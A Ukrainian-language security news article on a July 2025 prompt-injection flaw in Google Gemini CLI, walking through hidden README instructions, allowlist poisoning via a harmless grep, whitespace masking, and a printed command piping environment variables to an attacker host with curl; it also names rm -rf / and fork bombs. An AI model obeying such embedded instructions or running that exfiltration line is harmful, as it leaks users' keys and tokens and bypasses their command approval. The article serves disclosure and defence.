Вразливість Gemini CLI відкриває шлях для віддаленого виконання коду

Огляд

Наприкінці липня 2025 року дослідники безпеки компанії Tracebit виявили серйозну вразливість у Google Gemini CLI, відкритому термінальному AI-асистенті для програмування на базі Gemini 2.5 Pro. Ця вразливість дозволяє здійснювати непрямі ін’єкції команд, які об’єднуються, щоб обійти вбудовані механізми безпеки та безшумно виконувати довільні команди оболонки — від витоку даних до руйнівних операцій, таких як rm -rf / або fork bombs.

Як працює експлуатація

1. Розгортання шкідливого пакета

   Зловмисники публікують на перший погляд безпечний пакет NPM/PyPI/GitHub. Сам код є безпечним; шкідливий компонент повністю прихований у текстових запитах, вбудованих у README.md.

2. Непряма ін’єкція запиту

   Коли розробник запитує Gemini CLI “описати” або “проаналізувати” пакет, асистент повністю обробляє README, виконуючи приховані інструкції. Це експлуатує нездатність AI-моделей відрізняти запити користувача від ненадійного контенту.
3. Отруєння списку дозволених команд

   Ін’єкція спочатку виконує безпечну команду, наприклад grep '^Install' README.md, вводячи користувача в оману та змушуючи його додати grep до списку дозволених команд Gemini CLI. Після цього наступні команди обходять ручне підтвердження.

4. Цепочка оболонкових команд

   Прихований шкідливий код додає конвеєр: env | curl --silent -X POST --data-binary @- http://attacker.server:8083. Це дозволяє витягувати змінні середовища — включаючи API-ключі, токени та облікові дані — на сервер, контрольований зловмисником.
5. Методи маскування

   Зловмисник приховує шкідливий код, ін’єктуючи тисячі пробілів, таким чином, що користувач бачить лише безпечний виклик grep у повідомленні статусу.

Технічний аналіз

• Ін’єкція запиту: Форма непрямої ін’єкції, що використовує схильність AI до підкорення — вроджене прагнення моделей виконувати інструкції на природній мові в оброблених файлах.
• Обхід списку дозволених команд: Gemini CLI перевіряє лише перший токен команди. Подальша валідація доданих токенів не виконується.
• Контекст привілеїв: Gemini CLI працює в контексті оболонки користувача, успадковуючи дозволи на файлову систему та мережу. Шкідливі команди виконуються з повними правами користувача.
• Недоліки пісочниці: За замовчуванням Gemini CLI не активує контейнеризацію або пісочницю на рівні ОС (наприклад, Docker або gVisor), залишаючи систему хоста вразливою.

Відповідь Google та усунення вразливості

1 серпня 2025 року Google випустила версію 0.1.14 Gemini CLI, яка була класифікована як Пріоритет 1 / Серйозність 1. Виправлення:

• Впроваджує строгу валідацію списку дозволених токенів, порівнюючи кожен аргумент команди з безпечним списком.
• Активує функцію телеметрії з можливістю відмови для повідомлення про аномальні шаблони запитів для моніторингу безпеки.
• Впроваджує експериментальний пісочничний режим з використанням простору імен Linux та фільтрів seccomp для ізоляції виконань CLI.

Розробників закликають терміново оновити програмне забезпечення та використовувати ненадійний код лише в спеціалізованих CI/CD пісочницях або епhemeral контейнерах.

Вплив на безпеку програмного забезпечення в ланцюгу постачання

Цей інцидент підкреслює вроджені ризики в сучасних робочих процесах розробки програмного забезпечення:

• Пакети третіх сторін: Мільйони пакетів на NPM та PyPI можуть стати потенційними векторами для прихованих AI-запитів.
• Автоматизовані агенті коду: Оскільки AI-асистенти набувають автономії, атаки на ланцюг постачання можуть використовувати складні ML-взаємодії для маскування шкідливих компонентів.
• Регуляторний нагляд: Організації можуть зіткнутися з проблемами дотримання вимог відповідно до вказівок CISA SCRM та майбутнього законодавства ЄС щодо безпеки AI.

Найкращі практики та заходи з пом’якшення наслідків

• Завжди переглядайте README.md та інші документаційні файли на предмет прихованих інструкцій.
• Використовуйте контейнеризацію (Docker, Podman) або віртуалізацію для ненадійного коду.
• Обмежуйте вихід мережі за допомогою правил брандмауера або egress-проксі, щоб блокувати несподівані вихідні запити.
• Використовуйте статичні аналітичні інструменти для виявлення шаблонів ін’єкції запитів у документації та коментарях коду.
• Дотримуйтесь принципів нульової довіри: забезпечуйте мінімальні привілеї для CLI-інструментів та облікових записів машин.

Коментарі експертів

“Ця вразливість підкреслює нагальну необхідність впровадження надійної валідації команд та ізоляції пісочниці на рівні ОС у AI-інструментах,” зазначила доктор Олена Мартінес, головний архітектор безпеки в SecureAI Labs. “Методи списку дозволених команд повинні еволюціонувати, щоб обробляти конвеєрні та з’єднані команди без утворення прогалин.”

Майбутнє безпечних AI-кодуючих агентів

Оскільки AI-агенти для розробки стають звичними, галузі необхідно встановити стандартизовані ML-бенчмарки безпеки, подібні до OWASP для веб-додатків. Спільні зусилля між постачальниками хмарних послуг, дослідниками AI та спільнотами з відкритим кодом будуть критично важливими для:

1. Визначення інтерфейсів безпеки AI, які чітко розділяють запити користувачів від ненадійного контенту.
2. Інтеграції аудиту в реальному часі та забезпечення дотримання політики у виконаннях LLM.
3. Розробки крос-платформних пісочниць, які можуть бути легко впроваджені в CLI та GUI AI-інструменти.